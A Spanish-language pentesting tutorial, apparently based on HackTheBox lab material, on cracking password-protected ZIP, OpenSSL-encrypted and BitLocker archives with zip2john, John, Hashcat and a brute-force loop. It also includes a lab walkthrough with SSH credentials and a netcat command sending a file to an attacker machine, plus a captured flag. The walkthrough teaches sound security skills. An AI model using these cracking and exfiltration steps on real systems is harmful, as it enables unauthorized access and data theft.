Page cover

🔑Archivos Comprimidos

Además de los archivos independientes, también existe otro formato de archivos que puede contener no sólo datos, como un documento de Office o un PDF, sino también otros archivos dentro de ellos. Este formato se llama archivo comprimido y puede protegerse con una contraseña si es necesario.

Supongamos el papel de un empleado en una empresa administrativa e imaginemos que nuestro cliente quiere resumir el análisis en diferentes formatos, como Excel, PDF, Word y la presentación correspondiente. Una solución sería enviar estos archivos individualmente, pero si extendemos este ejemplo a una gran empresa que se ocupa de varios proyectos en ejecución simultáneamente, este tipo de transferencia de archivos puede resultar engorrosa y provocar la pérdida de archivos individuales. En estos casos, los empleados suelen recurrir a archivos, que les permiten dividir todos los archivos necesarios de forma estructurada según los proyectos (a menudo en subcarpetas), resumirlos y empaquetarlos en un solo archivo.

Hay muchos tipos de archivos comprimidos. Algunas extensiones de archivo comunes incluyen, entre otras:

tar

gz

rar

zip

vmdb/vmx

cpt

truecrypt

bitlocker

kdbx

luks

deb

7z

pkg

rpm

war

gzip

Puede encontrar una lista extensa de tipos de archivos en FileInfo.com . Sin embargo, en lugar de escribirlos manualmente, también podemos consultarlos usando una sola línea, filtrarlos y guardarlos en un archivo si es necesario. En el momento de escribir este artículo, hay 337tipos de archivos comprimidos enumerados en fileinfo.com.

Descargar todas las extensiones de archivos

afsh4ck@kali$ curl -s https://fileinfo.com/filetypes/compressed | html2text | awk '{print tolower($1)}' | grep "\." | tee -a compressed_ext.txt

.mint
.htmi 
.tpsr
.mpkg  
.arduboy
.ice
.sifz 
.fzpz 
.rar     
.comppkg.hauptwerk.rar
...SNIP...

Es importante tener en cuenta que no todos los archivos anteriores admiten la protección con contraseña. A menudo se utilizan otras herramientas para proteger los archivos correspondientes con una contraseña. Por ejemplo, con tar, la herramienta opensslo gpgse utiliza para cifrar los archivos.


Cracking de archivos

Dada la cantidad de archivos diferentes y la combinación de herramientas, mostraremos solo algunas de las formas posibles de descifrar archivos específicos en esta sección. Cuando se trata de archivos protegidos con contraseña, normalmente necesitamos ciertos scripts que nos permitan extraer los hashes de los archivos protegidos y usarlos para descifrar la contraseña de ellos.

El formato .zip suele utilizarse mucho en entornos Windows para comprimir muchos archivos en uno solo. El procedimiento que ya hemos visto sigue siendo el mismo excepto que se utiliza un script diferente para extraer los hashes.


Cracking de Archivos ZIP

Usando zip2john

afsh4ck@kali$ zip2john ZIP.zip > zip.hash

ver 2.0 efh 5455 efh 7875 ZIP.zip/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=42, decmplen=30, crc=490E7510

Al extraer los hashes, también veremos qué archivos están en el archivo ZIP.

Ver el contenido de zip.hash

afsh4ck@kali$ cat zip.hash 

ZIP.zip/customers.csv:$pkzip2$1*2*2*0*2a*1e*490e7510*0*42*0*2a*490e*409b*ef1e7feb7c1cf701a6ada7132e6a5c6c84c032401536faf7493df0294b0d5afc3464f14ec081cc0e18cb*$/pkzip2$:customers.csv:ZIP.zip::ZIP.zip

Una vez que hayamos extraído el hash, ahora podemos usar john nuevamente para descifrarlo con la lista de contraseñas deseadas. Si john lo descifra con éxito, nos mostrará la contraseña correspondiente que podemos usar para abrir el archivo ZIP.

Cracking con John

afsh4ck@kali$ john --wordlist=rockyou.txt zip.hash

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1234             (ZIP.zip/customers.csv)
1g 0:00:00:00 DONE (2022-02-09 09:18) 100.0g/s 250600p/s 250600c/s 250600C/s 123456..1478963
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Ver la contraseña en plano

afsh4ck@kali$ john zip.hash --show

ZIP.zip/customers.csv:1234:customers.csv:ZIP.zip::ZIP.zip

1 password hash cracked, 0 left

Cracking de archivos cifrados OpenSSL

Además, no siempre es evidente si el archivo encontrado está protegido con contraseña, especialmente si se utiliza una extensión de archivo que no admite la protección con contraseña. Como ya hemos comentado, openssl se puede utilizar gzip para cifrar el archivo como ejemplo. Usando la herramienta file podemos obtener información sobre el formato del archivo especificado. Esto podría verse así, por ejemplo:

Listado de archivos

afsh4ck@kali$ ls

GZIP.gzip  rockyou.txt

Ver el tipo de formato

afsh4ck@kali$ file GZIP.gzip 

GZIP.gzip: openssl enc'd data with salted password

Al descifrar archivos y archivos cifrados OpenSSL, podemos encontrar muchas dificultades diferentes que traerán muchos falsos positivos o incluso no podremos adivinar la contraseña correcta. Por lo tanto, la opción más segura para tener éxito es utilizar openssl en un for-loop que intenta extraer los archivos del archivo directamente si la contraseña se adivina correctamente.

La siguiente línea mostrará muchos errores relacionados con el formato GZIP, que podemos ignorar. Si hemos utilizado la lista de contraseñas correcta, como en este ejemplo, veremos que hemos extraído con éxito otro archivo del archivo.

Uso de un bucle for para mostrar contenidos extraídos

afsh4ck@kali$ for i in $(cat rockyou.txt);do openssl enc -aes-256-cbc -d -in GZIP.gzip -k $i 2>/dev/null| tar xz;done

gzip: stdin: not in gzip format
tar: Child returned status 1
tar: Error is not recoverable: exiting now

gzip: stdin: not in gzip format
tar: Child returned status 1
tar: Error is not recoverable: exiting now

<SNIP>

Una vez que el bucle for haya finalizado, podemos volver a buscar en la carpeta actual para comprobar si el descifrado del archivo se realizó correctamente.

Listado del contenido del archivo descifrado

afsh4ck@kali$ ls

customers.csv  GZIP.gzip  rockyou.txt

Cracking de unidades cifradas BitLocker

BitLocker es un programa de cifrado para particiones enteras y unidades externas. Microsoft lo desarrolló para el sistema operativo Windows. Ha estado disponible desde Windows Vista y utiliza el AESalgoritmo de cifrado con una longitud de 128 o 256 bits. Si olvidamos la contraseña o PIN de BitLocker, podemos usar la clave de recuperación para descifrar la partición o unidad. La clave de recuperación es una cadena de números de 48 dígitos generada durante la configuración de BitLocker que también puede ser bruteforceada.

A menudo se crean unidades virtuales en las que se almacena información personal, notas y documentos en la computadora o computadora portátil proporcionada por la empresa para evitar el acceso de terceros a esta información. Nuevamente, podemos usar un script llamado bitlocker2johnpara extraer el hash que necesitamos descifrar. Se extraerán cuatro hashes diferentes , que se pueden usar con diferentes modos hash de Hashcat. Para nuestro ejemplo trabajaremos con la primera, que hace referencia a la contraseña de BitLocker.

Usando bitlocker2john

afsh4ck@kali$ bitlocker2john -i Backup.vhd > backup.hashes
afsh4ck@kali$ grep "bitlocker\$0" backup.hashes > backup.hash
afsh4ck@kali$ cat backup.hash

$bitlocker$0$16$02b329c0453b9273f2fc1b927443b5fe$1048576$12$00b0a67f961dd80103000000$60$d59f37e...SNIP...70696f7eab6b

Ambos Johny Hashcat pueden usarse para este propósito. Este ejemplo analizará el procedimiento con Hashcat. El modo de Hashcat para descifrar hashes de BitLocker es -m 22100. Entonces le proporcionamos a Hashcat el archivo con un hash, especificamos nuestra lista de contraseñas y especificamos el modo hash. Dado que se trata de un cifrado robusto ( AES), el descifrado puede llevar algún tiempo, dependiendo del hardware utilizado. Además, podemos especificar el nombre del archivo en el que se debe almacenar el resultado.

Cracking con Hashcat

afsh4ck@kali$ hashcat -m 22100 backup.hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt -o backup.cracked

hashcat (v6.1.1) starting...

<SNIP>

$bitlocker$0$16$02b329c0453b9273f2fc1b927443b5fe$1048576$12$00b0a67f961dd80103000000$60$d59f37e70696f7eab6b8f95ae93bd53f3f7067d5e33c0394b3d8e2d1fdb885cb86c1b978f6cc12ed26de0889cd2196b0510bbcd2a8c89187ba8ec54f:1234qwer
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: BitLocker
Hash.Target......: $bitlocker$0$16$02b329c0453b9273f2fc1b927443b5fe$10...8ec54f
Time.Started.....: Wed Feb  9 11:46:40 2022 (1 min, 42 secs)
Time.Estimated...: Wed Feb  9 11:48:22 2022 (0 secs)
Guess.Base.......: File (/opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       28 H/s (8.79ms) @ Accel:32 Loops:4096 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 2880/6163 (46.73%)
Rejected.........: 0/2880 (0.00%)
Restore.Point....: 2816/6163 (45.69%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1044480-1048576
Candidates.#1....: chemical -> secrets

Started: Wed Feb  9 11:46:35 2022
Stopped: Wed Feb  9 11:48:23 2022

Ver el hash crackeado

afsh4ck@kali$ cat backup.cracked 

$bitlocker$0$16$02b329c0453b9273f2fc1b927443b5fe$1048576$12$00b0a67f961dd80103000000$60$d59f37e70696f7eab6b8f95ae93bd53f3f7067d5e33c0394b3d8e2d1fdb885cb86c1b978f6cc12ed26de0889cd2196b0510bbcd2a8c89187ba8ec54f:1234qwer

Una vez que hayamos descifrado la contraseña, podremos abrir las unidades cifradas. La forma más sencilla de montar una unidad virtual cifrada con BitLocker es transferirla a un sistema Windows y montarla. Para ello no tenemos más que hacer doble clic en la unidad virtual. Al estar protegido con contraseña, Windows nos mostrará un error. Después del montaje, podemos volver a hacer doble clic en BitLocker para solicitarnos la contraseña.

Windows: montaje de BitLocker VHD


Caso práctico 1

Utiliza la contraseña del usuario Kira, inicie sesión en el host y lea el archivo Notes.zip que contiene la flag. Luego, envía la flag como respuesta.

Credenciales de acceso por SSH

User: kira
Pass: L0vey0u1!
Host: 10.129.219.191

Conexión por SSH

ssh kira@10.129.219.191            
kira@10.129.219.191's password: L0vey0u1!
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-99-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 18 Apr 2024 02:08:03 PM UTC

  System load:  0.04               Processes:               180
  Usage of /:   27.8% of 13.72GB   Users logged in:         0
  Memory usage: 30%                IPv4 address for ens192: 10.129.219.191
  Swap usage:   0%

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

kira@nix01:~$ 

Si vamos al directorio Documents encontramos un Notes.zip

kira@nix01:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos

kira@nix01:~$ cd Documents
kira@nix01:~/Documents$ ls
Notes.zip

Envío a la máquina de atacante

Vamos a enviarnos este archivo a nuestra máquina de atacante con netcat:

En Kali Linux
nc -nlvp 1234 > Notes.zip         
listening on [any] 1234 ...
En el host
nc 10.10.14.98 1234 < Notes.zip

Zip2john

afsh4ck@kali$ zip2john Notes.zip > zip.hash
ver 1.0 efh 5455 efh 7875 Notes.zip/notes.txt PKZIP Encr: 2b chk, TS_chk, cmplen=38, decmplen=26, crc=D0CED23B ts=7EF8 cs=7ef8 type=0

Cracking con John

Vamos a utilizar la lista de palabras mutadas que ya hemos visto en secciones anteriores para crackear la contraseña del zip:

john --wordlist=mut_password.list zip.hash 

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P@ssw0rd3!       (Notes.zip/notes.txt)     
1g 0:00:00:00 DONE (2024-04-18 17:12) 100.0g/s 1005Kp/s 1005Kc/s 1005KC/s ..@shley99!
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Con la contraseña P@ssw0rd3! vamos a extraer el archivo y obtener la flag:

afsh4ck@kali$ unzip Notes.zip
Archive:  Notes.zip
[Notes.zip] notes.txt password: P@ssw0rd3!
 extracting: notes.txt               

afsh4ck@kali$ cat notes.txt 
HTB{ocnc7r4io8ucsj8eujcm}

Caso práctico 2

Vamos a ver un ejemplo de crackeo de un archivo zip protegido con contraseña.

Paso 1: Crear un archivo ZIP protegido con contraseña

  1. Abre una terminal en Kali Linux.

  2. Usa el comando zip para crear un archivo ZIP con protección por contraseña:

zip -e archivo_protegido.zip archivo.txt
  • -e activa la encriptación.

  • archivo_protegido.zip es el nombre del archivo ZIP que se va a crear.

  • archivo.txt es el archivo que se incluirá en el ZIP.

Al ejecutar este comando, el sistema te pedirá que ingreses y confirmes una contraseña.

Paso 2: Extraer el hash del archivo ZIP con zip2john

Usa el comando zip2john para extraer el hash del archivo ZIP protegido:

zip2john archivo_protegido.zip > hash.zip

Esto generará un archivo llamado hash.zip que contiene el hash del archivo protegido.

Paso 3: Crackear el archivo ZIP con John the Ripper

Utiliza John the Ripper para intentar crackear la contraseña:

john hash.zip --wordlist=/ruta/a/tu/wordlist.txt
  • --wordlist=/ruta/a/tu/wordlist.txt indica la lista de palabras que se usará para el ataque.

  • Puedes usar wordlists preinstaladas en Kali Linux, como rockyou.txt, ubicada en /usr/share/wordlists/rockyou.txt.

Si la contraseña se encuentra en la lista, John the Ripper la mostrará en la salida. Para ver el progreso de cracking, puedes usar:

john --show hash.zip

Última actualización

¿Te fue útil?